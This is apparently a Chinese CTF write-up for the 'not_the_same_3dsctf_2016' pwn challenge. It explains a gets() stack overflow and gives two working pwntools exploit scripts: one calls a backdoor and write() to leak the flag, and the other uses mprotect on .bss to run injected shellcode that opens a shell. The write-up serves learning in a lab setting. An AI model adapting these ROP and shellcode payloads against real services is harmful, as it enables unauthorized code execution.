
仅仅开启了栈不可执行,正常来说不能利用shellcode攻击(第二种解法破解NX),并发现该题为静态编译,查看IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+Fh] [ebp-2Dh]
printf((int)"b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(&v4);
return 0;
}
// 并发现后门函数get_secret()
int get_secret()
{
int v0; // esi
v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}
由于存在后门函数get_secret(),并且main函数有gets函数,则可利用栈溢出执行get_secret(),但后门函数仅仅读了flag.txt,因此要想办法将flag写出来,由于是静态编译,啥函数都有,IDA发现存在write函数,则利用write函数进行读写。
tips:该题的main函数中没有push ebp,溢出main函数时不用将ebp加上
from pwn import *
elf = ELF("./not_the_same_3dsctf_2016")
io = remote("node4.buuoj.cn",28787)
# io = process("./not_the_same_3dsctf_2016")
backdoor_addr = 0x080489A0
str_flag_addr = 0x080ECA2D
printf_addr = 0x0804F0A0
write_addr = elf.symbols['write']
exit_addr = elf.symbols['exit']
print(hex(write_addr))
# 这个main函数没有push ebp 所以不用再覆盖4字节的ebp
payload = 0x2D * b'a' + p32(backdoor_addr) + p32(write_addr) + p32(exit_addr) + p32(1) + p32(str_flag_addr) + p32(45)
io.sendline(payload)
io.interactive()
io.close()
最近学的一招,在https://blog.csdn.net/qq_41696518/article/details/126559799中第一次使用
该方法就是利用mprotect函数将一块地址变成栈可执行,并将该地址植入shellcode。
int mprotect(const void *start, size_t len, int prot);
第一个参数填的是一个地址,是指需要进行操作的地址。
第二个参数是地址往后多大的长度。
第三个参数的是要赋予的权限。
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
prot=7 是可读可写可执行,记住就行,类似于chmod中的7
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是静态编译,所以地址是不会变的。
通过IDA发现存在mprotect函数,则可以使用!!!
这里我看大牛都用bss,因为该地址空间存放全局变量,并且属于静态分配的空间。
输入readelf -S not_the_same_3dsctf_2016进行查看:

由于要求的地址空间为4K的整数倍,因此后三位为000,即bss_addr = 0x80eb000
from pwn import *
elf = ELF("./not_the_same_3dsctf_2016")
io = remote("node4.buuoj.cn",27213)
# mprotect .text 0806ED40 00000025 00000004 0000000C R . . . . . .
mprotect_addr = elf.symbols["mprotect"]
# readelf -S get_started_3dsctf_2016查看
# [24] .bss NOBITS 080ebf80 0a2f80 000e6c 00 WA 0 0 32
bss_addr = 0x080eb000 # 由于要求地址为4k整数倍,因此后三位为0
read_addr = elf.symbols['read']
# pop3_ret = 0x08063b9b
pop3_ret = 0x806fcf0
payload = 0x2D * b'a' + p32(mprotect_addr) +p32(pop3_ret)+ p32(bss_addr) + p32(0x1000) + p32(0x7)
payload += p32(read_addr)+p32(pop3_ret)+p32(0) + p32(bss_addr) + p32(0x100) + p32(bss_addr)
io.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
io.sendline(shellcode)
io.interactive()